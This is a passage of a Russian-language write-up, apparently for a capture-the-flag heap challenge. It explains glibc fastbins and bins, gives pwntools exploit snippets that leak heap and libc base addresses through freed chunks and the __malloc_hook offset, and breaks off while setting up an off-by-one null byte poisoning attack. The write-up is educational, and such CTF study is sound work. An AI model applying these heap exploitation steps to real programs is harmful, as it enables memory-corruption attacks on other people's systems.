\u0445\u0440\u0430\u043d\u044f\u0442\u0441\u044f \u0432 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 main_arena \u0432 libc. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0435\u0441\u0442\u044c \u043e\u0442\u043b\u0438\u0447\u0438\u0435 \u043c\u0435\u0436\u0434\u0443 fast (mfastbinptr) \u0438 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u0441\u043f\u0438\u0441\u043a\u0430\u043c\u0438 (small, large \u0438 unsorted \u2014 mchunkptr).  <\/p>\n<pre><code class=\"cpp\">typedef struct malloc_chunk *mfastbinptr; mfastbinptr fastbinsY[];  typedef struct malloc_chunk* mchunkptr; mchunkptr bins[];<\/code><\/pre>\n<p>  \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, libc \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0435 \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u0438, \u043f\u0443\u0442\u0435\u043c \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u0438\u044f \u0438\u0445 \u0432 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u043e\u043c \u043c\u0430\u0441\u0441\u0438\u0432\u0435, \u0432 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442 \u0440\u0430\u0437\u043c\u0435\u0440\u0430. \u041d\u043e \u0442\u0430\u043a \u043a\u0430\u043a \u043a\u0430\u0436\u0434\u0430\u044f \u0437\u0430\u043f\u0438\u0441\u044c \u0432 \u043c\u0430\u0441\u0441\u0438\u0432\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0441\u043f\u0438\u0441\u043e\u043a, \u0442\u043e \u043f\u0435\u0440\u0432\u0430\u044f \u0437\u0430\u043f\u0438\u0441\u044c \u0432 \u043c\u0430\u0441\u0441\u0438\u0432\u0435 \u0431\u0443\u0434\u0435\u0442 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c \u043d\u0430 \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u044b\u0439 \u0431\u043b\u043e\u043a \u0440\u0430\u0437\u043c\u0435\u0440\u043e\u043c 16 \u0431\u0430\u0439\u0442, \u0432\u0442\u043e\u0440\u0430\u044f \u2014 24 \u0438 \u0442.\u0434. \u041d\u0438\u0436\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u044b \u044d\u0442\u0430\u043f\u044b \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u0438 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u043f\u0430\u043c\u044f\u0442\u0438 \u0434\u043b\u044f bins \u0438 fastbins.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/46\/bn\/kh\/46bnkh1lacsslgn8xux5bmbzhem.png\"><\/p>\n<p>  \u041f\u0440\u0438 \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u0438\u0438 \u043f\u0430\u043c\u044f\u0442\u0438, \u043c\u044b \u0431\u0443\u0434\u0435\u043c \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0447\u0430\u043d\u043a \u0441 \u043a\u043e\u043d\u0446\u0430 \u0441\u043f\u0438\u0441\u043a\u0430.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/1m\/gr\/yp\/1mgrypwbci1niewax65eka2bxze.png\"><\/p>\n<p>  \u041d\u043e \u0434\u043b\u044f fastbins \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u043f\u043e-\u0434\u0440\u0443\u0433\u043e\u043c\u0443. \u0422\u0430\u043c \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u0438 BK, \u0438 \u0441\u043f\u0438\u0441\u043a\u0438 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043e\u0434\u043d\u043e\u0441\u0432\u044f\u0437\u043d\u044b\u043c\u0438.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/6q\/s8\/7r\/6qs87rdi4tj1tldnh2uhjkb5_2k.png\"><\/p>\n<p>  \u0418 \u043f\u0440\u0438 \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u0438\u0438 \u043f\u0430\u043c\u044f\u0442\u0438 \u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043c \u0447\u0430\u043d\u043a \u0438\u0437 \u0433\u043e\u043b\u043e\u0432\u0443 \u0441\u043f\u0438\u0441\u043a\u0430.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/5o\/yv\/2o\/5oyv2o02juvgy-qk2tslbtprlqc.png\"><\/p>\n<h2>Heap leak<\/h2>\n<p>  \u041f\u0435\u0440\u0432\u044b\u043c \u0434\u0435\u043b\u043e\u043c \u043d\u0430\u0439\u0434\u0435\u043c \u0443\u0442\u0435\u0447\u043a\u0443 \u043a\u0443\u0447\u0438. \u042d\u0442\u043e \u043e\u0447\u0435\u043d\u044c \u043b\u0435\u0433\u043a\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c, \u0435\u0441\u043b\u0438 \u0432\u0438\u0437\u0443\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043a\u0443\u0447\u0443. \u0423\u0447\u0438\u0442\u044b\u0432\u0430\u044f \u0432\u0441\u0435, \u0447\u0442\u043e \u0431\u044b\u043b\u043e \u0441\u043a\u0430\u0437\u0430\u043d\u043e \u043f\u0440\u043e \u0447\u0430\u043d\u043a\u0438 \u0432\u044b\u0448\u0435, \u0434\u0430\u0432\u0430\u0439\u0442\u0435 \u0441\u043e\u0437\u0434\u0430\u0434\u0438\u043c \u0442\u0440\u0438 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0430 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b Conf, \u0442\u043e\u0433\u0434\u0430 \u043f\u0440\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u0435 \u0440\u0430\u0437\u043c\u0435\u0440\u0430 desc, \u0443\u043a\u0430\u0436\u0435\u043c \u0442\u0430\u043a\u043e\u0439 \u0436\u0435, \u043a\u0430\u043a \u0438 \u0443 Conf \u2014 48 (+8 \u0434\u043b\u044f \u0432\u044b\u0440\u0430\u043d\u0438\u0432\u0430\u043d\u0438\u044f \u0438 +8 \u0434\u043b\u044f \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430 \u0447\u0430\u043d\u043a\u0430, \u0438\u0442\u043e\u0433\u043e 64). \u041f\u043e\u0441\u043b\u0435 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f, \u043e\u0447\u0438\u0441\u0442\u0438\u043c \u043f\u0430\u043c\u044f\u0442\u044c \u0432 \u043f\u043e\u0440\u044f\u0434\u043a\u0435 \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u043c \u043f\u043e\u0440\u044f\u0434\u043a\u0435(\u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0437\u0430\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0434\u0435\u0442 \u043e\u0431\u0440\u0430\u0442\u0435\u043d \u043f\u043e\u0440\u044f\u0434\u043a\u0443 \u043e\u0447\u0438\u0449\u0435\u043d\u0438\u044f \u043f\u0430\u043c\u044f\u0442\u0438, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u044f \u043f\u043e\u043c\u0435\u0442\u0438\u043b \u043e\u0447\u0435\u0440\u0435\u0434\u044c \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u043f\u0430\u043c\u044f\u0442\u0438). \u041d\u0430 \u0440\u0438\u0441\u0443\u043d\u043a\u0435 \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u043e \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043a\u0443\u0447\u0438 \u043f\u043e\u0441\u043b\u0435 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f (\u0441\u043b\u0435\u0432\u0430) \u0438 \u043f\u043e\u0441\u043b\u0435 \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u044f (\u0441\u043f\u0440\u0430\u0432\u0430) \u0442\u0440\u0435\u0445 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0439. <\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/ut\/8y\/xx\/ut8yxxtfptefekng2j8mkas0p6i.png\"><\/p>\n<p>  \u0422\u0435\u043f\u0435\u0440\u044c, \u0435\u0441\u043b\u0438 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u043d\u043e\u0432\u0443\u044e \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044e, \u0442\u043e \u043e\u043d\u0430 \u0437\u0430\u0439\u043c\u0435\u0442 \u043c\u0435\u0441\u0442\u043e \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439-\u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0439(2) \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438. \u041d\u043e \u0438\u0441\u0445\u043e\u0434\u044f \u0438\u0437 \u043a\u043e\u0434\u0430, \u0435\u0441\u043b\u0438 \u043c\u044b \u0443\u043a\u0430\u0436\u0435\u043c size \u0440\u0430\u0432\u043d\u044b\u043c 0, \u0442\u043e \u0437\u0430\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f desc \u043d\u0435 \u043f\u0440\u043e\u0438\u0437\u043e\u0439\u0434\u0435\u0442, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u0443 \u043d\u0430\u0441 \u043e\u0441\u0442\u0430\u043d\u0435\u0442\u0441\u044f 5 \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u044b\u0445 \u0447\u0430\u043d\u043a\u043e\u0432, \u0430 des\u0441 \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u043e\u0439 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0431\u0443\u0434\u0435\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0430\u0434\u0440\u0435\u0441 Conf1. \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u0435\u0441\u043b\u0438 \u043c\u044b \u043e\u0442\u043e\u0431\u0440\u0430\u0437\u0438\u043c \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u0443\u044e \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044e, \u043c\u044b \u043e\u0442\u043e\u0431\u0440\u0430\u0437\u0438\u043c \u0430\u0434\u0440\u0435\u0441 Conf1.  <\/p>\n<pre><code class=\"python\">for _ in range(3):     alloc(0x30, b'A' * 0x20) for i in range(3):     free(i) alloc(0, b''), show(0) p.recvuntil('[ Description         ]: ') leak_heap = u64(p.recvline().strip().ljust(8, b'\\x00')) log.success(f&quot;Heap leak address: {hex(leak_heap)}&quot;)<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/oi\/ue\/zr\/oiuezrpdlwtt9phhugne0es3hdy.png\"><\/p>\n<p>  \u0422\u0435\u043f\u0435\u0440\u044c \u043d\u0443\u0436\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0431\u0430\u0437\u043e\u0432\u044b\u0439 \u0430\u0434\u0440\u0435\u0441 libc.<\/p>\n<h2>LIBC leak<\/h2>\n<p>  \u041d\u043e \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u044f \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e (\u043f\u0440\u0438\u0447\u0435\u043c \u043f\u0435\u0440\u0432\u043e\u0433\u043e) \u0447\u0430\u043d\u043a\u0430 \u0432 \u0441\u043f\u0438\u0441\u043a\u0435, \u0435\u0433\u043e \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u0438 \u043d\u0430 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0438 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0439 \u0447\u0430\u043d\u043a\u0438 \u0431\u0443\u0434\u0443\u0442 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c \u043d\u0430 \u0430\u0434\u0440\u0435\u0441 \u0432 libc (\u043a\u0430\u043a \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0438\u0437 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c \u0432\u044b\u0448\u0435).<\/p>\n<p>  \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u0432\u044b\u0434\u0435\u043b\u0438\u043c \u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u043e\u0431\u044a\u0435\u043c \u043f\u0430\u043c\u044f\u0442\u0438 (\u0432 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 desc, \u0447\u0442\u043e\u0431\u044b \u043c\u044b \u0441\u043c\u043e\u0433\u043b\u0438 \u043a \u043d\u0435\u043c\u0443 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c\u0441\u044f), \u0442\u043e\u0433\u0434\u0430 \u043f\u043e\u0441\u043b\u0435 \u043e\u0447\u0438\u0441\u0442\u043a\u0438 \u0442\u0430\u043a\u043e\u0433\u043e \u0447\u0430\u043d\u043a\u0430, \u0435\u0433\u043e FD \u0438 BK \u0431\u0443\u0434\u0435\u0442 \u0445\u0440\u0430\u043d\u0438\u0442\u044c \u043d\u0435 \u0430\u0434\u0440\u0435\u0441 \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u043d\u043e\u0433\u043e \u0447\u0430\u043d\u043a\u0430, \u0430, \u0430\u0434\u0440\u0435\u0441 \u0432 libc. \u041f\u043e\u0432\u0442\u043e\u0440\u044f\u044f \u043f\u0440\u043e\u0448\u043b\u044b\u0439 \u0442\u0440\u044e\u043a c \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u0438 \u0437\u0430\u043f\u0438\u0441\u044c\u044e \u201c\u043d\u0443\u043b\u0435\u0432\u043e\u0439\u201d \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438, \u043d\u0430\u0439\u0434\u0435\u043c \u0443\u0442\u0435\u0447\u043a\u0443 libc. \u0412\u044b\u0434\u0435\u043b\u0438\u043c 0x500 \u0438 0x200 \u0431\u0430\u0439\u0442 \u043f\u043e\u0434 \u0437\u0430\u043f\u0438\u0441\u044c \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f\u0445, \u0430 \u0437\u0430\u0442\u0435\u043c \u0443\u0434\u0430\u043b\u0438\u043c \u0438\u0445 \u0432 \u043e\u0431\u0440\u0430\u0442\u043d\u043e\u043c \u043f\u043e\u0440\u044f\u0434\u043a\u0435. <\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/jk\/j3\/s_\/jkj3s_oasuh9ap_f3uklnyyzmpg.png\"><\/p>\n<p>  \u041f\u043e\u0441\u043b\u0435 \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u044f Conf2 \u043f\u0440\u043e\u0438\u0437\u043e\u0439\u0434\u0435\u0442 \u0442\u0430\u043a\u043e\u0435 \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435: \u0442\u0430\u043a \u043a\u0430\u043a desc2 \u0431\u043e\u043b\u044c\u0448\u0435\u0433\u043e \u0440\u0430\u0437\u043c\u0435\u0440\u0430, \u043d\u043e \u0438 \u0441\u043f\u0438\u0441\u043e\u043a \u0442\u043e\u0433\u043e \u0436\u0435 \u043c\u0430\u0441\u0441\u0438\u0432\u0430 \u0441\u043f\u0438\u0441\u043a\u043e\u0432, \u0442\u043e free \u0437\u0430\u043f\u0438\u0448\u0435\u0442 \u043d\u0435 \u0430\u0434\u0440\u0435\u0441 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0433\u043e \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u043d\u043e\u0433\u043e \u0447\u0430\u043d\u043a\u0430 (desc1 (3)), \u0430 0. \u0412 \u0441\u0430\u043c Conf2 \u0431\u0443\u0434\u0435\u0442 \u0437\u0430\u043f\u0438\u0441\u0430\u043d \u0430\u0434\u0440\u0435\u0441 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0433\u043e \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u043d\u043e\u0433\u043e \u0447\u0430\u043d\u043a\u0430 desc1 (3). <\/p>\n<p>  \u041f\u043e\u0441\u043b\u0435 \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u044f Conf1, \u043f\u043e \u043f\u0440\u0438\u0447\u0438\u043d\u0435 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u0439 \u0432\u044b\u0448\u0435, \u0432 desc1 \u0431\u0443\u0434\u0435\u0442 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0430\u0434\u0440\u0435\u0441 \u0438\u0437 libc. \u0410 \u043c\u0435\u0441\u0442\u043e \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u043d\u043e\u0433\u043e Conf1 \u0437\u0430\u0439\u043c\u0435\u0442 \u0430\u0434\u0440\u0435\u0441 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0433\u043e \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u043d\u043e\u0433\u043e \u0447\u0430\u043d\u043a\u0430.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/sk\/mg\/aq\/skmgaqtz2jrfjeq5obicmi3uwlm.png\"><\/p>\n<p>  \u0421\u043e\u0437\u0434\u0430\u0434\u0438\u043c \u043d\u043e\u0432\u0443\u044e \u201c\u043d\u0443\u043b\u0435\u0432\u0443\u044e\u201d \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044e, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0431\u0443\u0434\u0435\u0442 \u0441\u043e\u0437\u0434\u0430\u043d\u0430 \u043d\u0430 \u043c\u0435\u0441\u0442\u0435 (5) \u0438 \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0435\u043c \u0435\u0435, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0430\u0434\u0440\u0435\u0441 \u0438\u0437 libc. \u0414\u0430\u043d\u043d\u044b\u0439 \u0430\u0434\u0440\u0435\u0441 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u044e 0x70 \u043e\u0442 __malloc_hook (\u043c\u043e\u0436\u043d\u043e \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0432 \u043e\u0442\u043b\u0430\u0434\u0447\u0438\u043a\u0435). \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0434\u043b\u044f \u043d\u0430\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0431\u0430\u0437\u044b libc, \u0438\u0437 \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u043e\u0433\u043e \u0430\u0434\u0440\u0435\u0441\u0430 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0438\u0437\u0432\u043b\u0435\u0447\u044c (*__malloc_hook + 0x70).  <\/p>\n<pre><code class=\"python\">alloc(0x500, b'A' * 0x20), alloc(0x200, b'A' * 0x20) free(2), free(1) alloc(0, b''), show(1) p.recvuntil('[ Description         ]: ') leak_libc = u64(p.recvline().strip().ljust(8, b'\\x00')) libc.address = leak_libc - (libc.symbols['__malloc_hook'] + 0x70) log.success(f&quot;LIBC base address: {hex(libc.address)}&quot;)<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/_m\/sv\/f-\/_msvf-34mvg5o5jdgzoqbtjtr4u.png\"><\/p>\n<p>  \u041f\u043e\u0445\u043e\u0436\u0435 \u043d\u0430 \u043f\u0440\u0430\u0432\u0434\u0443 \ud83d\ude42 <\/p>\n<h2>Off-By-One<\/h2>\n<p>  \u0423 \u043d\u0430\u0441 \u043c\u043d\u043e\u0433\u043e \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u043e\u0439 \u0438 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u043d\u043e\u0439 \u043f\u0430\u043c\u044f\u0442\u0438, \u043f\u0440\u0438\u0447\u0435\u043c \u043d\u0435\u0440\u0430\u0432\u043d\u043e\u043c\u0435\u0440\u043d\u043e. \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u0437\u0430\u0439\u043c\u0435\u043c \u0435\u0435 \u0432\u0441\u044e: \u0447\u0430\u043d\u043a\u0438 Conf \u043c\u044b \u0437\u0430\u0439\u043c\u0435\u043c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430\u043c\u0438, \u0430 \u0447\u0430\u043d\u043a\u0438 desc \u2014 \u0437\u0430\u043f\u0438\u0441\u044f\u043c\u0438 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0433\u043e \u0440\u0430\u0437\u043c\u0435\u0440\u0430, \u043f\u0440\u0438\u0447\u0435\u043c \u0432 \u0447\u0430\u043d\u043a\u0435 0x500 \u043f\u043e\u043c\u0435\u0441\u0442\u0438\u0442\u0441\u044f 2 \u0442\u0430\u043a\u0438\u0445 \u0437\u0430\u043f\u0438\u0441\u0438. \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u0441\u043e\u0437\u0434\u0430\u0434\u0438\u043c 4 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0441 \u0440\u0430\u0437\u043c\u0435\u0440\u043e\u043c \u0437\u0430\u043f\u0438\u0441\u0438 0x200. \u0415\u0441\u0442\u044c \u043d\u0435 \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0435 0xf \u0431\u0430\u0439\u0442, \u0432 \u0440\u0430\u043d\u0435\u0435 \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0445 0x500 \u0431\u0430\u0439\u0442. \u0417\u0430\u0439\u043c\u0435\u043c \u0438\u0445 \u043d\u0443\u043b\u0435\u0432\u044b\u043c\u0438 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430\u043c\u0438. \u0418 \u043f\u043e\u0441\u043b\u0435 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0440\u0435\u0437\u0435\u0440\u0432\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0432\u0441\u0435\u0439 \u043f\u0430\u043c\u044f\u0442\u0438, \u043e\u0447\u0438\u0441\u0442\u0438\u043c \u0435\u0435.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/cy\/k6\/2z\/cyk62zz92kyd2mxzrrrmre2jl4y.png\">  <\/p>\n<pre><code class=\"python\">for _ in range(4):     alloc(0x200, b'A' * 0x20) for _ in range(3):     alloc(0, b'') for i in range(2,9):     free(i)  log.info(&quot;Memory cleared&quot;)<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/cb\/ej\/bl\/cbejblmy5yxymg3lkkd9dtudi7m.png\"><\/p>\n<p>  \u041f\u0435\u0440\u0435\u0445\u043e\u0434\u0438\u043c \u043a \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u043c\u0443 \u044d\u0442\u0430\u043f\u0443: \u0440\u0430\u0437\u0431\u0435\u0440\u0435\u043c \u0442\u0435\u0445\u043d\u0438\u043a\u0443 Null Byte Poisoning. \u0415\u0441\u043b\u0438 \u0432 \u043a\u0443\u0447\u0435 \u0435\u0441\u0442\u044c \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u044b\u0439 \u0447\u0430\u043d\u043a, \u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0447\u0430\u043d\u043a \u0441\u0440\u0430\u0437\u0443 \u043f\u043e\u0441\u043b\u0435 \u043d\u0435\u0433\u043e \u0442\u0430\u043a\u0436\u0435 \u0441\u0432\u043e\u0431\u043e\u0434\u0435\u043d, \u0442\u043e \u044d\u0442\u0438 \u0434\u0432\u0430 \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u044b\u0445 \u0431\u043b\u043e\u043a\u0430 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u044b \u0432 \u0431\u043e\u043b\u044c\u0448\u0438\u0439 \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u044b\u0439 \u0431\u043b\u043e\u043a. \u041c\u044b \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043b\u0438, \u043a\u0430\u043a \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0439 \u0438 \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u044b\u0439 \u0447\u0430\u043d\u043a \u043f\u0430\u043c\u044f\u0442\u0438, \u2014 \u0442\u0430\u043a \u0432\u043e\u0442 \u0434\u0430\u043d\u043d\u044b\u0439 \u043c\u0435\u0442\u043e\u0434 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e\u0431\u044b \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u0444\u043b\u0430\u0433 \u0437\u0430\u043d\u044f\u0442\u043e\u0433\u043e \u0447\u0430\u043d\u043a\u0430, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u0442\u044c \u0435\u0433\u043e \u0441 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u043c \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u044b\u043c \u0447\u0430\u043d\u043a\u043e\u043c!<\/p>\n<p>  \u0414\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u043c\u0441\u044f \u0441 \u0430\u0434\u0440\u0435\u0441\u043e\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u044b \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u043c\u0441\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432 \u0431\u0443\u0434\u0443\u0449\u0435\u043c. \u0412 \u0434\u0430\u043d\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442, \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u043f\u043e\u0434\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0439 \u0447\u0430\u043d\u043a (1, 4) \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d \u043f\u043e \u0430\u0434\u0440\u0435\u0441\u0443 0x18a0 (\u043e\u0440\u0438\u0435\u043d\u0442\u0438\u0440\u0443\u0435\u043c\u0441\u044f \u043f\u043e \u0441\u0432\u043e\u0435\u043c\u0443 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u044e \u043a\u0443\u0447\u0438) \u0438 \u0437\u0430\u043d\u0438\u043c\u0430\u0435\u0442 0x200 \u0431\u0430\u0439\u0442, \u0442\u043e \u0435\u0441\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0447\u0430\u043d\u043a \u0431\u0443\u0434\u0435\u0442 \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d \u043f\u043e \u0430\u0434\u0440\u0435\u0441\u0443 0x1ab0. \u0412\u044b\u0447\u0438\u0441\u043b\u0438\u043c \u043d\u0443\u0436\u043d\u044b\u0439 \u043d\u0430\u043c \u0430\u0434\u0440\u0435\u0441 \u0438\u0437 